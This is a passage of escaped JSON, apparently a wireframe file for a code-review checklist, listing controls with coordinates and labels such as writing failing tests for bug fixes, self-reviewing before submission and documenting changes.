learning.\",\"size\":\"20\"}}]}}},{\"ID\":\"2832\",\"typeID\":\"__group__\",\"zOrder\":\"27\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"288\",\"y\":\"856\",\"properties\":{\"controlName\":\"check:knowledge-sharing\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2833\",\"typeID\":\"__group__\",\"zOrder\":\"36\",\"measuredW\":\"690\",\"measuredH\":\"28\",\"w\":\"690\",\"h\":\"28\",\"x\":\"336\",\"y\":\"898\",\"properties\":{\"controlName\":\"cross-functional-knowledge\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"690\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"text\":\"Encourage reviewing code in unknown-areas for cross-functional knowledge.\",\"size\":\"20\"}}]}}},{\"ID\":\"2834\",\"typeID\":\"__group__\",\"zOrder\":\"35\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"288\",\"y\":\"897\",\"properties\":{\"controlName\":\"check:cross-functional-knowledge\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2835\",\"typeID\":\"__group__\",\"zOrder\":\"30\",\"measuredW\":\"481\",\"measuredH\":\"28\",\"w\":\"481\",\"h\":\"28\",\"x\":\"336\",\"y\":\"940\",\"properties\":{\"controlName\":\"monitor-reviews\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"481\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"text\":\"Constantly monitor and improve code review process.\",\"size\":\"20\"}}]}}},{\"ID\":\"2836\",\"typeID\":\"__group__\",\"zOrder\":\"29\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"288\",\"y\":\"939\",\"properties\":{\"controlName\":\"check:monitor-reviews\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2837\",\"typeID\":\"__group__\",\"zOrder\":\"32\",\"measuredW\":\"645\",\"measuredH\":\"28\",\"w\":\"645\",\"h\":\"28\",\"x\":\"337\",\"y\":\"980\",\"properties\":{\"controlName\":\"recognition-rewards\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"645\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"text\":\"Recognition and rewards for those with track record of quality feedback.\",\"size\":\"20\"}}]}}},{\"ID\":\"2838\",\"typeID\":\"__group__\",\"zOrder\":\"31\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"288\",\"y\":\"979\",\"properties\":{\"controlName\":\"check:recognition-rewards\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2839\",\"typeID\":\"__group__\",\"zOrder\":\"40\",\"measuredW\":\"828\",\"measuredH\":\"28\",\"w\":\"828\",\"h\":\"28\",\"x\":\"337\",\"y\":\"1022\",\"properties\":{\"controlName\":\"no-one-way-process\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"828\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"text\":\"Encourage communication/collaboration; avoid treating code reviews as a one-way process.\",\"size\":\"20\"}}]}}},{\"ID\":\"2840\",\"typeID\":\"__group__\",\"zOrder\":\"39\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"288\",\"y\":\"1021\",\"properties\":{\"controlName\":\"check:no-one-way-process\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2841\",\"typeID\":\"__group__\",\"zOrder\":\"42\",\"measuredW\":\"965\",\"measuredH\":\"28\",\"w\":\"965\",\"h\":\"28\",\"x\":\"337\",\"y\":\"1063\",\"properties\":{\"controlName\":\"trends-issues-finding\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"965\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Hold regular code review sessions to discuss broader trends or issues that arise during the review process.\"}}]}}},{\"ID\":\"2842\",\"typeID\":\"__group__\",\"zOrder\":\"41\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"288\",\"y\":\"1062\",\"properties\":{\"controlName\":\"check:trends-issues-finding\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2843\",\"typeID\":\"__group__\",\"zOrder\":\"44\",\"measuredW\":\"878\",\"measuredH\":\"28\",\"w\":\"878\",\"h\":\"28\",\"x\":\"337\",\"y\":\"1107\",\"properties\":{\"controlName\":\"seek-feedback\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"878\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Encourage authors to seek feedback during development before submitting a formal code review.\"}}]}}},{\"ID\":\"2844\",\"typeID\":\"__group__\",\"zOrder\":\"43\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"288\",\"y\":\"1106\",\"properties\":{\"controlName\":\"check:seek-feedback\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2845\",\"typeID\":\"__group__\",\"zOrder\":\"52\",\"measuredW\":\"533\",\"measuredH\":\"28\",\"w\":\"533\",\"h\":\"28\",\"x\":\"324\",\"y\":\"1271\",\"properties\":{\"controlName\":\"follow-guidelines\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"533\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Follow the coding standards and any other team guidelines.\"}}]}}},{\"ID\":\"2846\",\"typeID\":\"__group__\",\"zOrder\":\"51\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"1270\",\"properties\":{\"controlName\":\"check:follow-guidelines\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2847\",\"typeID\":\"__group__\",\"zOrder\":\"54\",\"measuredW\":\"567\",\"measuredH\":\"28\",\"w\":\"567\",\"h\":\"28\",\"x\":\"324\",\"y\":\"1313\",\"properties\":{\"controlName\":\"consistency-everywhere\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"567\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Stay consistent with the overall project design and architecture.\"}}]}}},{\"ID\":\"2848\",\"typeID\":\"__group__\",\"zOrder\":\"53\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"1312\",\"properties\":{\"controlName\":\"check:consistency-everywhere\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2849\",\"typeID\":\"__group__\",\"zOrder\":\"56\",\"measuredW\":\"421\",\"measuredH\":\"28\",\"w\":\"421\",\"h\":\"28\",\"x\":\"324\",\"y\":\"1353\",\"properties\":{\"controlName\":\"failing-text-bug\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"421\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Write a failing test if the change is for a bug fix.\"}}]}}},{\"ID\":\"2850\",\"typeID\":\"__group__\",\"zOrder\":\"55\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"1352\",\"properties\":{\"controlName\":\"check:failing-text-bug\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2851\",\"typeID\":\"__group__\",\"zOrder\":\"58\",\"measuredW\":\"569\",\"measuredH\":\"28\",\"w\":\"569\",\"h\":\"28\",\"x\":\"324\",\"y\":\"1394\",\"properties\":{\"controlName\":\"complex-tasks-breakage\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"569\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Break down complex tasks into smaller easily manageable PRs.\"}}]}}},{\"ID\":\"2852\",\"typeID\":\"__group__\",\"zOrder\":\"57\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"1393\",\"properties\":{\"controlName\":\"check:complex-tasks-breakage\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2853\",\"typeID\":\"__group__\",\"zOrder\":\"60\",\"measuredW\":\"576\",\"measuredH\":\"28\",\"w\":\"576\",\"h\":\"28\",\"x\":\"324\",\"y\":\"1437\",\"properties\":{\"controlName\":\"impact-of-change\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"576\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Consider the impact of the change on other parts of the system.\"}}]}}},{\"ID\":\"2854\",\"typeID\":\"__group__\",\"zOrder\":\"59\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"1436\",\"properties\":{\"controlName\":\"check:impact-of-change\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2855\",\"typeID\":\"__group__\",\"zOrder\":\"62\",\"measuredW\":\"844\",\"measuredH\":\"28\",\"w\":\"844\",\"h\":\"28\",\"x\":\"324\",\"y\":\"1480\",\"properties\":{\"controlName\":\"note-questions-for-review\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"844\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Take notes on any questions or concerns about the change to discuss them during the review.\"}}]}}},{\"ID\":\"2856\",\"typeID\":\"__group__\",\"zOrder\":\"61\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"1479\",\"properties\":{\"controlName\":\"check:note-questions-for-review\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2857\",\"typeID\":\"__group__\",\"zOrder\":\"64\",\"measuredW\":\"238\",\"measuredH\":\"28\",\"w\":\"238\",\"h\":\"28\",\"x\":\"324\",\"y\":\"1521\",\"properties\":{\"controlName\":\"write-automated-tests\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"238\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Write the automated tests.\"}}]}}},{\"ID\":\"2858\",\"typeID\":\"__group__\",\"zOrder\":\"63\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"1520\",\"properties\":{\"controlName\":\"check:write-automated-tests\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2859\",\"typeID\":\"__group__\",\"zOrder\":\"66\",\"measuredW\":\"566\",\"measuredH\":\"28\",\"w\":\"566\",\"h\":\"28\",\"x\":\"324\",\"y\":\"1561\",\"properties\":{\"controlName\":\"document-new-feature\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"566\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Write the documentation for the feature or changes if required.\"}}]}}},{\"ID\":\"2860\",\"typeID\":\"__group__\",\"zOrder\":\"65\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"1559\",\"properties\":{\"controlName\":\"check:document-new-feature\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2861\",\"typeID\":\"__group__\",\"zOrder\":\"68\",\"measuredW\":\"709\",\"measuredH\":\"28\",\"w\":\"709\",\"h\":\"28\",\"x\":\"324\",\"y\":\"1600\",\"properties\":{\"controlName\":\"update-docs-changes\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"709\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Update any documentation that may have made obsolete through the changes.\"}}]}}},{\"ID\":\"2862\",\"typeID\":\"__group__\",\"zOrder\":\"67\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"1599\",\"properties\":{\"controlName\":\"check:update-docs-changes\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2863\",\"typeID\":\"__group__\",\"zOrder\":\"74\",\"measuredW\":\"418\",\"measuredH\":\"28\",\"w\":\"418\",\"h\":\"28\",\"x\":\"322\",\"y\":\"1752\",\"properties\":{\"controlName\":\"self-review\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"418\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Review your code before submitting for review.\"}}]}}},{\"ID\":\"2864\",\"typeID\":\"__group__\",\"zOrder\":\"73\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"276\",\"y\":\"1751\",\"properties\":{\"controlName\":\"check:self-review\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2865\",\"typeID\":\"__group__\",\"zOrder\":\"76\",\"measuredW\":\"979\",\"measuredH\":\"28\",\"w\":\"979\",\"h\":\"28\",\"x\":\"322\",\"y\":\"1794\",\"properties\":{\"controlName\":\"changes-ready\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"979\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Ensure that the changes are complete and ready for review, including all necessary tests and documentation.\"}}]}}},{\"ID\":\"2866\",\"typeID\":\"__group__\",\"zOrder\":\"75\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"276\",\"y\":\"1793\",\"properties\":{\"controlName\":\"check:changes-ready\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2867\",\"typeID\":\"__group__\",\"zOrder\":\"78\",\"measuredW\":\"760\",\"measuredH\":\"28\",\"w\":\"760\",\"h\":\"28\",\"x\":\"322\",\"y\":\"1836\",\"properties\":{\"controlName\":\"tested-in-dev\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"760\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Verify that the code change has been properly tested in a development environment.\"}}]}}},{\"ID\":\"2868\",\"typeID\":\"__group__\",\"zOrder\":\"77\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"276\",\"y\":\"1835\",\"properties\":{\"controlName\":\"check:tested-in-dev\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2869\",\"typeID\":\"__group__\",\"zOrder\":\"80\",\"measuredW\":\"813\",\"measuredH\":\"28\",\"w\":\"813\",\"h\":\"28\",\"x\":\"323\",\"y\":\"1877\",\"properties\":{\"controlName\":\"adhere-guidelines\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"813\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Double-check that the code adheres to the project's coding standards and best practices. \"}}]}}},{\"ID\":\"2870\",\"typeID\":\"__group__\",\"zOrder\":\"79\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"277\",\"y\":\"1876\",\"properties\":{\"controlName\":\"check:adhere-guidelines\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2871\",\"typeID\":\"__group__\",\"zOrder\":\"82\",\"measuredW\":\"1023\",\"measuredH\":\"28\",\"w\":\"1023\",\"h\":\"28\",\"x\":\"323\",\"y\":\"1920\",\"properties\":{\"controlName\":\"potential-issues-review\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"1023\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Identify any potential performance, security, or scalability concerns and note them for discussion during the review.\"}}]}}},{\"ID\":\"2872\",\"typeID\":\"__group__\",\"zOrder\":\"81\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"277\",\"y\":\"1919\",\"properties\":{\"controlName\":\"check:potential-issues-review\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2873\",\"typeID\":\"__group__\",\"zOrder\":\"84\",\"measuredW\":\"989\",\"measuredH\":\"28\",\"w\":\"989\",\"h\":\"28\",\"x\":\"323\",\"y\":\"1961\",\"properties\":{\"controlName\":\"proper-description-pr\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"989\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Make sure to add proper title, description, any screenshots, relevant links, configuration changes etc in the PR.\"}}]}}},{\"ID\":\"2874\",\"typeID\":\"__group__\",\"zOrder\":\"83\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"277\",\"y\":\"1960\",\"properties\":{\"controlName\":\"check:proper-description-pr\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2875\",\"typeID\":\"__group__\",\"zOrder\":\"86\",\"measuredW\":\"1069\",\"measuredH\":\"28\",\"w\":\"1069\",\"h\":\"28\",\"x\":\"323\",\"y\":\"2003\",\"properties\":{\"controlName\":\"open-mind-author\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"1069\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Approach the review process with an open mind, and be willing to learn from and collaborate with other team members.\"}}]}}},{\"ID\":\"2876\",\"typeID\":\"__group__\",\"zOrder\":\"85\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"277\",\"y\":\"2002\",\"properties\":{\"controlName\":\"check:open-mind-author\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2877\",\"typeID\":\"__group__\",\"zOrder\":\"91\",\"measuredW\":\"663\",\"measuredH\":\"28\",\"w\":\"663\",\"h\":\"28\",\"x\":\"324\",\"y\":\"2153\",\"properties\":{\"controlName\":\"learn-context-reqs\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"663\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Understand the requirements and the context in which change was made.\"}}]}}},{\"ID\":\"2878\",\"typeID\":\"__group__\",\"zOrder\":\"90\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"2152\",\"properties\":{\"controlName\":\"check:learn-context-reqs\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2879\",\"typeID\":\"__group__\",\"zOrder\":\"93\",\"measuredW\":\"879\",\"measuredH\":\"28\",\"w\":\"879\",\"h\":\"28\",\"x\":\"324\",\"y\":\"2193\",\"properties\":{\"controlName\":\"prepare-list\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"879\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Based on the requirements, prepare a list of items that should have been covered in the changes.\"}}]}}},{\"ID\":\"2880\",\"typeID\":\"__group__\",\"zOrder\":\"92\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"2192\",\"properties\":{\"controlName\":\"check:prepare-list\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2881\",\"typeID\":\"__group__\",\"zOrder\":\"95\",\"measuredW\":\"561\",\"measuredH\":\"28\",\"w\":\"561\",\"h\":\"28\",\"x\":\"324\",\"y\":\"2232\",\"properties\":{\"controlName\":\"architecture-understanding\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"561\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Ensure that you understand the codebase and its architecture.\"}}]}}},{\"ID\":\"2882\",\"typeID\":\"__group__\",\"zOrder\":\"94\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"2231\",\"properties\":{\"controlName\":\"check:architecture-understanding\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2883\",\"typeID\":\"__group__\",\"zOrder\":\"97\",\"measuredW\":\"664\",\"measuredH\":\"28\",\"w\":\"664\",\"h\":\"28\",\"x\":\"324\",\"y\":\"2273\",\"properties\":{\"controlName\":\"review-docs-design\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"664\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Review any documentation or design specifications related to the change.\"}}]}}},{\"ID\":\"2884\",\"typeID\":\"__group__\",\"zOrder\":\"96\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"2272\",\"properties\":{\"controlName\":\"check:review-docs-design\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2885\",\"typeID\":\"__group__\",\"zOrder\":\"99\",\"measuredW\":\"653\",\"measuredH\":\"28\",\"w\":\"653\",\"h\":\"28\",\"x\":\"324\",\"y\":\"2312\",\"properties\":{\"controlName\":\"list-review-risks-issues\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"653\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Make list of any potential risks or issues that could arise with the 